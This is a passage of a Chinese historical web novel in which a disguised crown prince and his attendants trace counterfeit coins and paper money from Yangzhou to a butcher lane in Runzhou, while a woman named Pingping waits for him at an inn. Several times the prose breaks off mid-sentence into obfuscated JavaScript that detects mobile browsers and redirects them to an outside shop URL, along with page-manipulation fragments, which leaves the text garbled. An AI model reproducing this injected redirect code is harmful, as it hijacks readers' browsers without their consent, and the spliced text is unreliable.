“嘿你们——”林元舆呵斥，却被男童们的七嘴八舌淹没：“员外多福，给些果子钱吧！” “你们这几个小麻雀子，跑来这里做什么？”俩取酒的焌曹急急进门，手上还端着盘子，“去去去，小瘪角！” 一声冷笑。 却原来是蒋音和勾起嘴角。 她不咸不淡启唇：“这雅间成市集了。” 焌曹们面子挂不住，不得不行动起来，上手驱赶男童。男童们却灵活得像泥鳅，钻来钻去，就是不走。一个男童撞上焌曹，焌曹脚下不稳，往后倾控制不住倒在另一焌曹身后，两人手上的盘子都倾斜，琼花露和烟花三月先后跌落，两声脆响，酒流一地。 焌曹急忙蹲下收拾，禁不住大骂脏话，全是腌臜词，蒋望回嚅了嚅唇，站起回身，捂住妹妹耳朵。 孩童们还在讨钱。 焌曹见状，又见蒋望回动作，收了骂声，尴尬笑道：“让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133851|149997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大官人们见笑了，大官人有所不知，这些撒哲就爱强塞破烂货，禁也禁不住。” 行内将这类毫无教养，强买强卖的男童称作撒哲，因为不会给抽成，既不讨茶博士和焌曹喜，亦为酒客所恶。 柳湛一行五人，日常见不到，亦不知。 焌曹之前大骂大囔，引来了茶博士，又喊帮闲，一帮壮汉围堵撒哲，将他们逮住，欲先揍后撵，柳湛却出声：“慢着。” 屋内所有人都停下来看向他。 柳湛淡瞥撒哲：“把你们的枣都买下来，要多少钱？” 最先反应的是蒋望回，话音未落，他便扫向撒哲身上，很快盯住他们腰间鼓鼓囊囊，用麻绳缠绕数圈，栓得紧紧的钱袋子。 撒哲们迟一点，相互交换了眼神，领头的才应答：“二十文！” 柳湛噙笑，不再开口，蒋望回已会意，右手掏出一张五百文的交子，左手按上佩剑：“有找吗？” “有！”领头的撒哲叫囔，“但是要他们先放了我们，才能找给你！” 少倾，帮闲松手，和茶博士一起给柳湛等人赔笑：“大官人和员外们真乃活菩萨。” 撒哲恢复自由身，跑近前不由分说抢过交子。他们本心想一跑了之，但忌惮蒋望回的剑，还是围作一圈，一边嘀咕扬州话一边凑找零。 数来数去，还是差。 撒哲们遂商量好，一拥而上，将五个贴布钱袋并四篮水果，同时堆进柳湛和蒋望回怀里：“给你们！” 然后提着剩下一篮未给的果子，朝门外冲。 在撒哲看来，任是大罗金仙也兜不住那么多篮子，可以制造混乱，却不曾想柳湛和蒋望回均抱得稳稳当当，篮不歪，果不洒。 撒哲撒丫逃得更快了，头不敢回。 “小麻雀子养不熟的，要不要我们给您抓回来？”闲汉近前问。 “不用，我们自己在这坐坐。”柳湛拒绝，茶博士便和闲汉离开并带上门，柳湛二指探入钱袋，指腹摩挲。 虽然柳湛神色未变，蒋望回却心头莫名一紧，倾身道：“郎君，怎么了？” 柳湛二指从袋中夹出一枚铜板，放到蒋望回掌心。 蒋望回摩挲铜板，抠凹面略微粗糙，继而拿起来对着光照，九叠篆宝中间被封住那一横甚粗，再仔细掂……蒋望回眼睛越瞪越大，又把铜钱拿在手中掂量，微微轻些。 袁未罗凑近，紧张道：“找到了？” 蒋望回不应袁未罗，只看柳湛：“母钱不一样。” 柳湛颔首。 “太好了，太好了！”蒋音和竟带哭腔。 12. 第十二章 她夺来哥哥掌心铜板，捏在手中，仔细端详，喜极而泣：“郎君，我们终于找到了。” 年初，官家才将文思院交由殿下统领，不过两月，皇后娘娘就递呈了一枚□□。 彼时三口家宴，只官家、皇后、太子殿下和她们这班奴婢，皇后跪地叩首：“后宫本不该干政，但私铸可致钱文大乱，物价翔踊，滋事体大，妾怕隐瞒不报，成千古罪人。” 官家指捏假.币，端详片刻，缓缓道：“皇后做得对。” 太子当即下跪，自认渎职，又恳求：“爹爹可否把钱借孩儿一看？” 官家抬手，太子躬身接过铜钱，正反翻看，而后问皇后：“这钱娘娘从何处得来？” “牧君她们去扬州游玩时找的钱。”皇后言辞诚恳，牧君是她娘家的侄女，“不曾细看，回京大半年才意外发现端倪，正好赶上进宫见我，赶紧报了上来。” “但时间久了，她已经记不得是买什么找的了。要追本溯源，恐怕还得去一趟扬州。只是——”皇后话锋一转，面朝官家再叩首，“牧君去扬州玩一玩还行，查案她哪里懂，恐怕无从下手。且她一介女流，尚未出阁，要真做了文思院的事，般抛头露面，只怕不仅会被参‘不各其分，越职相侵’，日后还难说亲。” 蒋音和那时听着，就在心中非议：秦牧君既不懂查案，又怎会分辨铜钱真假？ 这造假造的高明，并不是一眼能看穿的，她也是后来太子教了才懂。 彼时，皇后说完，官家和太子皆陷入沉默。过了一会，太子朝官家伏拜：“爹爹，孩儿既领文思院，便应担其责，去往扬州，彻查此事。” 良久，官家放下铜钱，看向皇后：“扬州，你还没去过呐。” 皇后娘娘染了剔红的指甲拇指和食指轻轻对触。 后来官家的密旨就下来了，委派太子微服下扬州，彻查私钱一案，同时着监察中丞林元舆同行协助。 察院是什么地方？ 纠察官邪，肃正纲纪。明面上林元舆帮太子纠察扬州官吏，实则乃官家眼线，督报太子殿下的一举一动。 蒋望回、蒋音和、袁未罗皆是贴身服侍太子的，与林元舆不是一条心。 其中蒋氏兄妹打小追随太子，仅服侍太子三年的袁未罗不能比。兄妹俩临行前曾与太子三人秘议。 “万一伪钱子虚乌有，是皇后故意为难殿下的呢？”蒋音和担心扬州根本没有伪钱，殿下去了找不到，会被官家降罪。 柳湛和蒋望回双双不语，柳湛甚至呷了口茶。 蒋音和焦急：“殿下！” 蒋望回见状拉住妹妹袖子。历朝历代，私铸屡禁不绝，其实不愁到时候找不到伪钱，殿下所忧，是怕皇后巧立名目将殿下支离京师，自己有所动作。 昨日，他听从殿下安排，已将京中各营，朝堂内外打点妥当。 这些都是男人之间的事，不便同音和讲，蒋望回放开蒋音和袖角，低声道：“天无绝人之路。” 轻轻一句话，哪里安得了蒋音和七上八下的心，她一直担心殿下找不到伪钱，直到此刻……蒋音和攥着铜板的手不可抑地颤抖，睫毛也跟着抖。她眼泪汪汪去寻柳湛双眸，柳湛却仅对视一眼，就转头倾身，去拿蒋望回怀中，别的贴布口袋。这布袋与另外四只不同，凸一个尖角，里头除却铜板，还多一张皱巴巴的交子。柳湛将交子展开端详，红印、花纹皆有极微错误，骑缝用的漆墨也不对，亦是伪造。 但印钞的纸却和真钱一样是贡品川纸，背面照抄真钱，竟也印着一模一样五个大字：伪造者处死。 柳湛执钞，怒极反笑。 他拿起交子嗅了嗅，递给蒋望回：“那撒哲还有一篮，会继续在店里做买卖。” “属下这就去抓。”蒋望回攥好交子，就朝门口走，却发现蒋音和也冲了出去。 这家脚店并非四四方方，穿过前院和雅座，后头的包厢是一字散开，柳湛他们这间刚好在中间，蒋氏兄妹便一左一右，分头去逮撒哲。 蒋音和挨个包厢找，前三间皆是空的，正准备找第四间时，远远眺见那挎篮的撒哲从第七还是第八间包厢出来。蒋音和旋即喊：“站住！” 撒哲没听见，往下一间包厢去，蒋音和急急去追，回头遥喊哥哥助力：“阿兄，他们在这！” 蒋音和碎步频频，赶到那间包厢时，撒哲已经出来要往下下一间。蒋音和伸手去抓，却被撒哲带着一起跌入下下间包厢中，猝不及防睹见珠帘之后，曾来他们包厢打牙板的小娘子，正和一中年男子搂在榻上，衣衫凌乱，那小娘子的抹胸都撩到脖颈，蒋音和顿时脸通红，整个人都僵硬住，她脑子里只有那珠帘叮里哐啷晃动，越晃越模糊，这帘子，竟原来有这般作用，人，竟可以这样…… 小娘子与那大官人的尖叫她听不着了，撒哲跑了也不知道。听见妹妹呼唤的蒋望回随后赶来，进屋脸一红，而后伸手急忙覆住音和双眼，不叫她看。 蒋望回将蒋音和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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话分两头，脚店内，蒋音和连着吸了好几口气，才平复心绪回包厢。进去时，焌曹重拿了新的琼花露和烟花三月，在给大家斟。 蒋音和嗅了两下，烟花三月酒香腻浓，肯定不好，琼花露还勉强。她无心多追究这些，只想着□□和撒哲，不住瞥柳湛。柳湛却未看她，伸手去接焌曹斟满的酒杯，送至唇边时另一只手亦抬起，袖遮住下面张脸，不知喝没喝。 酒杯放回边几上时，满满当当的。 焌曹笑道：“大官人这是嫌弃奴家的酒呢！” 柳湛含笑：“焌曹娘子说哪的话，娘子家的酒数一数二，只是在下酒量甚浅，已经不胜酒力了。” 13. 第十三章 林元舆听见这话，转过面来，正思忖怎么接柳湛的话，就听见另一焌曹发问：“哎，点酒的那位大官人呢？” 柳湛笑道：“我家员外遣他雇车去了。” “员外要走？” “是啊，是啊。”林元舆洪亮接话，“老夫也早就喝不得了，不胜酒力。”接着便自作主张，挥斥方酬，“这、这两样酒都是他点的，各打包一壶给他捎上。” 焌曹应声，帮着捡了琼花露和烟花三月各一壶，用葫芦装着，塞子塞紧，又用绳结麻利编了两个提手，方便袁未罗拧。酒博士和焌曹一起送出店外，却不见蒋望回身影。 “大官人这车还没雇回来呢？” 林元舆捋须笑：“老夫想沿河走走，所以让他雇了车在御码头等。” 焌曹和茶博士哦哦应了几声，转身去忙，林元舆一行人离开脚店。 林元舆原本打算往码头折返，雇船真回御码头去，那厢热闹，却发现柳湛不同方向，往深处踱步。 “郎——”林元舆将将喊了一声。 柳湛反剪双手，回头含笑：“不是说附近走走吗？” “啊是是是。”林元舆额上些许冒汗，刚赶到柳湛身边，就听柳湛声音低轻，似云若雾：“找找这附近有没有肉店，”他顿了顿，“和香料铺子。” * 蒋望回跟随撒哲们，走在熙熙攘攘的集市中。 两侧摊铺卖的东西，总令蒋望回生出一股似似而非的恍惚。 比方货郎卖首饰盒，那个个漆盒上面的花纹，乍一看都是京师流行的花鸟纹，但再看第二眼，就花纹粗糙囫囵，再定睛细瞧，盒面花纹并非嵌贴的夜光螺，而是用颜料画上去的。再比方，卖那些小儿戴的玉佩，蒋望回见过的都是金镶玉，这里却都是银的铜的，连货郎兜售的鹦鹉，都比寻常见的羽毛黯些短些。 “大官人，就是那里了。”撒哲指前方道，“就是谭老八给我们的。” 蒋望顺指望去，一货郎打扮的男子支着个单轮货担，上头再挂个挑子，阴阳两面分别书写“谭”，“檀”。 卖檀香的？ 蒋望回第一回见檀香这么卖。 “大官人我们可以走了吧？”撒哲们小心翼翼地问。 蒋望回不答话，直勾勾盯着摊车走，近前一看一闻，虽然不能确认是什么香，但绝非檀香。沉檀龙麝，皆不可能这么劣质。 他拾起一盒香：“这……”抿唇沉默须臾，“这檀香怎么卖？” 谭老八伸巴掌——五文。 “我买一盒。”蒋望回将那张□□递给他，物归原主。 谭老八盯着交子，面色明显白了下，又恢复如初，眨眼堆笑：“这、这，大官人有零钱不？” 蒋望回摇头。 “那我这没也没得钱找啊，”谭老八指对面货摊，“大官人要不要去那边拣点什么？” 百货摊琳琅满目，蒋望回却看也不看：“我只要香，就你找我。” “找我也没用呀，巧妇也难为无米之炊！”谭老八避开对视，“要不大官人去钱庄换开？” “你去换。” “呵，大官人说笑了，”谭老八手覆上蒋望回手背，要夺他的檀香，“要不，您还是去别家买吧！” 哪里抽拽得出？那檀香在蒋望回手里一动不动，谭老八挑眉：“故意找茬是吧？哎哟！”蒋望回竟就手将谭八制住，胳膊反折。谭八钻心痛，额上渗出冷汗，又冷不丁瞥见角落里的撒哲们，瞬间明白，最后一点胆气也散了，牙齿打颤道：“疼疼疼，大官人饶命。” 蒋望回附耳审问：“这张交子哪来的？” “我说我说我说，大官人能不能先松手？” 蒋望回一脸严肃，谭老八只得忍着痛，打着摆道：“是别人，是别人找给我的！” “谁？” 谭八扭着头看蒋望回，苦笑了下，朱门不晓路边疾苦：“大官人不晓得，咱们这里，热热闹闹，花团锦簇，什么都好，就是东西都卖得贵。‘腰缠十万贯，骑鹤下扬州’，那也是有十万钱才敢来，再不济还能把鹤卖了。” 蒋望回听他焚琴煮鹤之词，微微皱眉。 谭老八续道：“我家娘子好生养，生了一十二儿女，到如今，活着的还有八位，算上高堂老母，家有一十一口人。扬州的盐巴二十文一斤，润州只十五文，斗米八钱，润州六千，最最离谱的是猪肉八十文一斤，润州只四十文钱。小的挣的这点香，根本不敢在扬州下手，我们邻里乡亲，每半个月会聚到一起雇艘筏子，渡到润州，到那里买肉。润州城的猪肉，皆来自朱方巷，所以那巷子里也最便宜。每日卯寅之间，最后一点别人挑剩下的，会打折甩卖，一般二十文左右就能买一斤。小的贪便宜，每回都是哪家最后打折捡哪家，那天买回来没细看，后来才发现，找的交子铜板皆是假的，但已经分不清是哪家了。小的晓得铸伪用伪是掉脑袋的罪，但不用出去，这百来文小的也亏不起啊。那天换给撒哲，其实我心里慌得不得了……” “润州朱方巷？”蒋望回打断谭八，半信半疑，桎梏谭八的那只手加重力道。 谭八疼得哇哇大叫，却一直喊是，坚称自己没有骗人，蒋望回低头审视他，又抬起下巴，突然发现柳湛一行人就站在对面，朝着望来。 蒋望回错愕分唇，又闭拢，默道：殿下？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133853|149997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >殿下怎么会在这里？ 蒋望回当即定住谭老八，过街正要开口，柳湛淡道：“员外都听见了，且回润州。” “对对，我们急着回润州呢！”林元舆急忙接话。 蒋望回便不再多言，迅速料理谭八撒哲事宜，奔赴码头雇船。据打听，朱方巷距江不远，本该一船直达，但事急，一时找不到愿意到朱方巷货码头的船，蒋望回只得雇船先渡江，先从瓜州回京口，再穿行润州到朱方巷。 江水潺潺，晌午的太阳照在粼粼江面，浮光跃金。一叶扁舟，蒋望回立在船头，江风吹起他鬓角的碎发。 蒋音和端着盘碟进进出出，屡次望来，等忙完，她也出舱来到船头。 蒋望回低头瞥了她一眼，默不作声。 蒋音和笑：“阿兄怎么还不回去？” 方才蒋望回吃得最快，说要消食，出来吹江风。 “我再站会。”蒋望回轻道。 蒋音和转了身，面朝哥哥背朝江，蒋望回怕她跌落，急忙扶住。蒋音和抬手扶上蒋望回长眉，顺着一路描过：“阿兄，你在愁什么？眉毛都皱了。” 良久，蒋望回喉头滑动：“我担心谭老八没说真话……” “放心吧，既然殿下下令回去，就准没错。”蒋音和扬起下巴，不无骄傲，褶裙上杏黄的系带也随风飘，“殿下料事如神，阿兄还不知道，他在脚店时就已算到，伪钱是肉铺和香料铺子里流出来的！” 虽然殿下推算的是铺子，不是摊位，但大差不差。且那家卖的算檀香嘛？！ 蒋音和默默嘀咕非议，又觉柳湛神武，蒋望回却神色凝重：殿下算到的肉铺和香料铺？ 他注视蒋音和的脸，他这个妹子，一向仰慕殿下，不求甚解，从她这里应该问不出答案……等等！ 蒋望回猛地挑眉，掏出那张伪造的交子，放在鼻下嗅了又嗅，凝神静气，再嗅。 “阿兄，你做什么？” 蒋望回又拿出一枚私铸铜板，也放到鼻下，一直吸鼻子。都有，都有！ 无论交子铜钱，皆有股类檀香却绝非檀香的香味，还有猪骚。香味浅淡，一带及过，说明这些钱在香料铺子里没待多久，猪的腥臊味极重，无法掩盖，除非有人钱上浇尿，不然这钱定是从杀猪铺子里传出来！ 天色一霎之间转昼，满江俱黯，扬州润州，两城皆不再见一点日光。 苍穹中，亦无一颗星。 瓜州天晴京口雨，船只逆流而上，不多久就进入雨幕中。 此时此刻，刘家久住。 萍萍才送走店主人，关上房门。 她刚刚用最后一张交子付了明天的房钱。 14. 第十四章 她没钱买吃的了，所以没再要鱼汤小馄饨，甚至连一个饼都买不起。她望向桌面，放不了的糕点已咽下肚当作晚饭，剩下能多放几日的还是留给官人。 咕—— 肚子瘪瘪的，又开始叫了。 这几日真是饿狠了。 但萍萍没多想饿的事，只愁：万一后天要还续住？怎么办？ 大后天呢？ 能不能先找店主人赊账？ 她又很快自己否认：不会的，事不过三，阿湛肯定今天就回来。 不知是怎样一件信物，找了这么久？ 是不是很困难？ 阿湛没遇到麻烦吧？ 会不会受伤吧？ 她应该去帮他的。 一想到这她就揪心，甚至觉得只要人平安，信物不要也罢。萍萍不自觉望向窗外，街上黑压压没有人影，雨声哗哗，窗户虽只开一条缝，但雨水还是泼进来，她半边衣裳全湿，贴在身上，既凉又硬。 早春的润州时常下雨，却没有像这两天的，下一回冷一回的，仿佛回到三九天，白天黑，夜里更黑，风刮就像刀子，嘶——萍萍打了个摆子。 她今天没给另外那间空客房续炭火了，昨天的炭火因无人入住没用上，不能退，央小二搬到她这屋来。萍萍先将裙角撩起收在手里，免被炭火燎到，而后才蹲下来取暖，一想快三月了，自己竟然还能享用炭火，多奢侈的一件事！ 今生有福。 她无声笑起，酒窝立显，其实火并没有生得很旺，但萍萍就是觉着身心都暖和了，连饿意也消散。 咚、咚。 “是阿湛吗？”萍萍起身开门，嗓音清脆。 “是我。” 开门一看，是店主人的娘子，刚才和店主人一道来收过房钱。 萍萍脑子里飞速核了一遍账，付的对的，没少钱，她便笑道：“刘娘子，您进来坐，是有什么事吗？” 刘娘子摆摆手，不进门。她先扫了一圈周遭，方才压低声音道：“小娘子，你家官人和那一群客官昨日没有回来！” 其实刚才就想提点了，但店主人不乐意，说刘娘子没事找事，店主人在时她便不敢多嘴。 “今天看样子也不会回来。”刘娘子吞吐又道。 萍萍一笑：“娘子和主人家刚刚已经知会过我了。” 昨日她托店主人传递阿湛的消息，但送完馄饨后，店主人再没有来找她。 她等了很久，就像那六年一样。 直到店主人再来收房钱，她主动问起，他才说无人归来。 刘娘子盯着萍萍，眨眼又眨眼，终长嘘口气：“娘子还是要早做自己的打算。” 和萍娘子的官人一起离开的那群人里，不还是个美貌小娘子么？ 旧人眼中刺，新人掌心花。 萍娘子的官人，大约不会再归来。 雨下得很大，几乎淹没刘娘子的轻声，但萍萍还是听清了，她微微摇头，虽然等了好久，六年辛苦，但终究还是等到了阿湛，夫妻团圆，是好因果，不是吗？ 所以，这次阿湛也一定会回来。 “他说了让我在这稍候的。”萍萍冲刘娘子笑，“他去取信物了，可能中途遇到了麻烦，耽误几天。” * 朱方巷。 裴小官人纹丝不动坐在窗边，每日同样的位置，犹如石塑。 外头的雨噼里啪啦，天昏地暗。阁楼的窗子即使撑了叉竿，依然被风刮得剧烈摇晃，恍觉下一秒就要散架。 旁边的长随一直手护长明灯，避免被吹熄，却有几分坚持不下去，劝道：“郎君，避避雨吧，不然容易着凉。” 裴小官人依旧嘿然不语。 “郎君。”长随叹口气，“这几日大雨倾盆，洗面汤恐怕都不会出摊。” 何况萍娘子已不见踪影。 良久，裴小官人轻启薄唇：“我再等她几天。” 雨就这么哗啦啦下了一夜。 翌日，柳湛等人寅卯间上岸，天空骤然放晴。 船夫讨好：“员外福泽深厚，老天爷都照应，您上岸老天爷不敢落雨！” 林元舆连忙笑回：“大家都有福气，都有福气。”说时偷瞟柳湛，虽然太子并无怒颜，林元舆依旧补充，“福气保佑咱们这一路顺风顺水，顺风顺水。” 然而林元舆的话并没有应验。 因为连日暴雨，通往朱方巷的唯一一条路塌方了。 “也不是唯一的道。”堵在路上的车夫们你一言我一语，“车不得行，但还有条半臂宽的小道，人可以走的。” “要是不急，等过两天修好了再去呗！” “后退后退，让一下我退出去，驾——” 柳湛一行人雇了两辆车，车夫勒缰让到一边，询问林元舆的意见。 “走要多久呀？”林元舆问。 “不远了，一两个时辰吧。” 林元舆瞥柳湛，却不大能从太子脸上读出旨意，索性鼓起勇气自己做决定：“那就走吧！就当老骨头活动筋骨了！” “好咧。”车夫们跳下马车，放置脚凳，众人收拾好后，辞别车夫，穿梭于马车间，不一会便见着塌方，坑还挺深，余下的地面成了一条羊肠小道，行人都小心翼翼牵着手，互相搀扶通行，特别窄的地方，还得侧身贴墙，半步半步挪动，跟螃蟹似的。 蒋望回见状自告奋勇走前头，回首牵起林元舆：“员外仔细脚下。” “好、好。”林元舆点头，老人怕跌，他始终盯着地面，连柳湛在后牵起他另外一只手也没特别在意。 “员外小心。”柳湛亦道。 蒋望回目光定了一定，发现自家妹妹一脸羞涩，咬着唇跟在柳湛后面。 蒋望回张嘴欲言，却见柳湛并未回头，只把右臂往后伸，便精准拉住袁未罗，将他拉到小路上。 蒋音和脸面先白再红，默默退后一步牵起袁未罗另一只手。 蒋望回垂眼抿唇。 众人小心翼翼挪了约莫一刻钟，便过完塌方地，重归大道，纷纷松开手。因着一心奔赴朱方巷，步伐皆快，无意多话，亦无心留意两侧店铺，唯袁未罗一路叨叨，兜着圆圈走，一会在后问林元舆，一会又往前同蒋望回攀谈。 这会，他倒退走路，背对前方，正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133854|149997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对蒋望回：“刚员外说‘天下三分明月夜’前一句不是‘夜市千灯照碧云’，夜灯是另外一首。我问他是哪一首，他却不说。你知道吗？” “你不知道？” “还是忘了？” 蒋望回注视前方，脚下不停，连着三句皆未应声。袁未罗便瘪嘴，深吸口气：“蒋殿帅——你怎么不理我？” “没有不理你。”蒋望回垂眼压低下巴，“高楼红袖客纷纷。” 他答了，袁未罗却无甚在意了，转半圈也朝前望，囔道：“咦、咦，那不是那家久住吗？” 他们之前在润州审那小娘子的地。 叫囔地特别大声，柳湛林元舆等皆望向久住的招牌挑子。 “郎君，那位娘子会不会还等在里面？” 柳湛听见耳畔询问，回头抿唇看向声音的主人——蒋望回。 “怎么可能啊！”不等柳湛回答，袁未罗就抢话，“这都几天了？我们不回来，肯定就跑了，世上哪有那么多傻子！” “阿罗说的对。”蒋音和亦近前，与哥哥对视一眼，仍继续道，“她意图攀附郎君，居心叵测，这类女子最会趋利避害，算计得精，怎么可能还在。” “万一呢？”蒋望回反问。 蒋音和瞪了哥哥一眼，迈开步意图快速走过久住，袁未罗哼着歌跟着她，蒋望回张唇阖唇，最后还是去追妹妹，柳湛负手眺眼看着这一切，笑了笑，也跟上，眼看众人都要经过大门，忽听头顶传来一声清脆响亮的呼唤：“官人！” 柳湛仰头，见萍萍面对着他，一手撑着窗楹，一手使劲挥，笑靥如花。 柳湛怔了下，再晃眼时，窗边已不见了人影。 她竟一直守在这里？ 他心里默默响起一句问话，每一个字都是七弦琴音，旷如远山，字字清晰，一句终了仍余音不绝。 “官人！” 那声音从窗边挪到了门口，近在咫尺，柳湛缓缓转头，睹见萍萍提着裙子，欢天喜地朝他奔来。 他眼不转睛盯着她亮晶晶的圆眸，目光缓缓挪下，继而锁住那对深陷的酒窝。 萍萍炙热坦然迎上柳湛的目光，就知道她的官人一定会回来！ 他不会丢下她的！ 到近前，萍萍虽因狂奔，不住喘气，却仍手扶着腰，含笑看向柳湛双手：“官人你拿了什么东西回来？” 这几日她吃的少睡的也少，全凭一颗牵肠挂肚心，奇迹一般支撑。如今柳湛归来，放下心那一刹那，她也泄了精气神，又似紧绷透支的一根弦，砰地断了，竟眼前一黑，身软发晕，眼看着要倒地，柳湛伸臂屈膝，扶住萍萍。她几天没换衣裳了，沾满泥点的裙贴上柳湛白袍，柳湛却臂往内一缩，将她拥入怀中。 “萍娘子，小心。”不远处蒋望回提醒，相比柳湛慢了些。 这声音许是棒喝，柳湛低头看向怀中女子，一霎失神。 “你看看她怎么回事。”他恢复淡漠神色，松手起身，将萍萍往左手一推。 刚赶至柳湛身侧的蒋望回楞了下，分唇欲言，但眼看失去托举的萍萍即将摔向地面，他还是阖唇伸臂，及时托住她。 15. 第十五章 * 萍萍睁眼，望见的是头顶藕色纱帐，和床上生色被褥，怎么跟刘家久住的布置一模一样？ 她又回去了？ 阿湛呢？！ 萍萍倏地坐起，着急寻找自家官人，映入眼帘的却是一位上了年纪的老妪，正背对自己收拾药箱。老妪旁边站着蒋望回。 萍萍赶紧低头察看自己衣衫，齐整严实，这才松了口气，冲蒋望回一笑。 蒋望回稍微点了下下巴算作招呼，而后便别过头去。 “醒了？”老妪背好药箱，转身同萍萍说道，“你这回晕是因为饥寒交迫，心力交瘁，没什么大碍。” 萍萍这才意识到眼前老妇是给她治病的，连忙道谢。 “但小娘子平常是不是特别操劳？还曾受过内伤伤？” 萍萍怔怔点头。 女医叹了口气：“你身体亏损得厉害，要好好调理，起码得喝一年药。” “一年？” “别嫌长。”女医看穿萍萍，“晚上早点歇息，三餐按时，少思虑，多养一养，不然你这身子过几年有得受的！”女医转头叮嘱蒋望回，“开的方子都是滋补的，煎之前先泡半个时辰，过半个月我再来瞧，平时多帮你娘子搭把手，别让她太操劳，娶妻娶妻，可不是娶回来欺负的！” “您误会了，我不是他娘子。” “她不是我娘子。” 萍萍和蒋望回的解释几乎异口同声。 萍萍便冲蒋望回笑了下，缓解尴尬，蒋望回缓缓扬起嘴角，下意识打算回以笑意，却又觉不妥，低头后退半步，离萍萍更远些。 他侧身伸臂，同女医道：“我送您出去。” 女医点头，二人齐往门外走，萍萍这才有机会观察房内，家具布置熟悉，的确是她这几日住的客房，但地上的炭盆却一下变成三个，萍萍奇怪，却又想：怪不得这么暖和。 “天气冷，你身体又不好，多烧几盆吧，”蒋望回不知何时折返回屋，低头杵在北角，“我已经付过钱了。” 萍萍的床贴着南墙：“谢谢。” 两人隔着一整个房间说话。 “应该我们谢谢你，”蒋望回缓步上前，怀中掏钱，有交子亦有铜板，递给萍萍，“这是之前你垫付的房钱，店主人那边我已经结清了。” 萍萍没接，反问他：“我家官人呢？他现在在哪？” 蒋望回手上一滞，转将钱财放到桌上：“他有事，要去扬州，要好几——要好几十日，最少。”他再三改口，又解释：“报信的人来得仓促，所以他也走得急……但临走前仍不忘拜托我照顾你。” 萍萍听到临走不忘托付，唇角漾笑，低头道：“我知道，事急从权。” 屋内陷入沉默，外头也没下雨了，里外皆静，掉针可闻。 “萍娘子，你好好养身体。”蒋望回再开口，语气一板一眼，“等你官人从扬州回来时，是想让他瞧见健健康康的你？还是病恹恹的？” “当然是健健康康的啊！”萍萍看着蒋望回，不假思索回答，她不能给官人添愁。 蒋望回眼皮眨了下，萍萍恍惚在他脸上捕捉到一丝一闪即过的笑意，又觉没有，他还是那种面无表情的严肃脸。 蒋望回从怀中取出一张折得整整齐齐的药方，放到桌上：“这是女医开的方子，我不能日日给娘子煎药，还望萍娘子见谅。” “大官人客气了，您帮我许多，我感激您还来不及，哪里见谅不见谅。” 蒋望回点点头，少倾，又道：“那你好好休息，我就不打扰了。” “我送你。” “不必。”蒋望回抬手，对着萍萍又点了下脑袋算作告辞，而后大步流星，头也不回离开，并带紧房门。 蒋望回到久住外头时，没人等着，其余人都已赶赴朱方巷，不曾耽搁。蒋望回找店主人借了匹马，打马追到时，众人已近朱方巷徘徊。 柳湛似正吩咐袁未罗，见蒋望回来，阖了唇。 袁未罗也边走边上前，帮蒋望回牵马：“她醒了？” 蒋望回点头。 蒋音和轻快嗤了一声：“醒这么快，还说不是装的。为了引起郎君注意，还真是无所不用其极。” 蒋望回蹙眉：“不要恶意揣测他人。” “本来就是。”蒋音和转面向柳湛，“郎君，你评评理。” 柳湛淡笑：“音和言之有理。” “哼！”蒋音和冲哥哥扬了扬下巴，还欲再找柳湛说，柳湛却已敛了容，说正事：“先找个落脚地。” “对对，先找住的。”袁未罗附和，其实方才殿下就是在吩咐他找，只是他不擅长，没在巷子里寻到客栈或久住，连官办的驿馆都没找见。 “好。”蒋望回应声，不出一刻钟，便在朱方巷邻巷的悦来店订妥数间厢房，连假的店历都登记好。 袁未罗看这客栈后面还有存货的榻房，心道真是什么人办什么事，衣食住行还得蒋殿帅来。 “希颜，阿罗，你们去朱方巷买肉。” “喏。” “喏。”袁未罗连应喏都比蒋望回迟许多，话音还没落地，就被蒋望回拉走。 约莫两个时辰后，蒋袁二人各提着不少肉回来。 “哎哟——可累死我了。”袁未罗进来就趴到桌上，给大家讲这会不是朱方巷做生意的点，没多少肉，他们求爷爷告奶奶，猪羊牛，肥瘦筋精，臊子馅料，全不挑的，加上软骨，才终于每家买到。 袁未罗滔滔不绝，蒋望回则开始掏袖袋里的钱，掏一枚袁未罗拿一枚，掏一张就拿一张，他问过蒋望回，之前殿下也教过，自觉熟稔：“这、这、这全是□□！”忿忿不平，“这里的人也忒胆大包天了！” 蒋望回亦锁眉，神情凝重看向柳湛：“七家有假，如何找出头绪？” 